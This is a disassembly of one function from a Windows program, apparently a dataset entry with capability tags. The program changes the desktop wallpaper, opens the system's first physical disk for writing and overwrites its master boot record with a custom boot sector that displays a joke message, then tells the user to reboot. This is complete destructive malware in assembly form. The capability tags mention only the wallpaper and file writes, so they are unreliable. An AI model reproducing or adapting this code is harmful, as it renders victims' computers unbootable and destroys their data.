Function at 0x140001540
Capabilities:
Change the wallpaper
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x308
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::filesystem::current_path_abi:cxx11___
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rax, [rbp + 0x230]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, str.xd.jpg
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov r9d, 3
mov r8, rax
mov edx, 0
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_SystemParametersInfoA]
call rax
test eax, eax
setne al
test al, al
je 0x14000161c
lea rax, str.Tapeta_zostaa_pomylnie_zmieniona_na:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x1f0]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
mov rax, qword [0x140006590]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x14000165d
lea rax, str.Nie_udao_si_zmieni_tapety._Bd:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140006590]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x1400016f6
lea rax, str.Failed_to_open_disk_handle:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140006590]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400019b2
mov qword [rbp + 0x1e0], 0
mov rdx, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x278]
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call rax
test eax, eax
sete al
test al, al
je 0x14000178e
lea rax, str.Failed_to_set_file_pointer:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140006590]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x278]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x1400019b2
lea rax, [rbp + 0x267]
mov qword [rbp + 0x268], rax
nop
nop
lea rdx, [rbp + 0x267]
lea rax, [rbp + 0x1c0]
mov r8, rdx
lea rdx, str.Zainstalowales_archa__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x267]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
movabs rax, 0x7b8d88e000eb8
movabs rdx, 0x10cd0ab20eb4c08e
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0x10cd20b2
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0x3c
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::length___const
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
add rax, 0x200
cmp rax, 0x200
jbe 0x140001881
lea rax, str.Custom_text_is_too_long_
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140006590]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x278]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x1400019a3
mov eax, 0x1ff
sub rax, qword [rbp + 0x270]
lea rdx, [rbp - 0x40]
lea rsi, [rdx + rax]
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::end__
mov rbx, rax
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::begin__
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call method.unsigned_char_std::copy___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______unsigned_char____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_cha
mov byte [rbp + 0x1bf], 0x55
mov byte [rbp + 0x1be], 0xaa
lea rcx, [rbp + 0x1ec]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
sete al
test al, al
je 0x140001966
lea rax, str.Failed_to_write_to_disk:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140006590]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x278]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x1400019a3
mov rax, qword [rbp + 0x278]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov r9d, 0
lea r8, str.zrebootuj_konkuter
lea rax, str.Wiruse_zadziaa_chyba_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov ebx, 0
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140001a4b
add rsp, 0x308
pop rbx
pop rsi
pop rdi
pop rbp
ret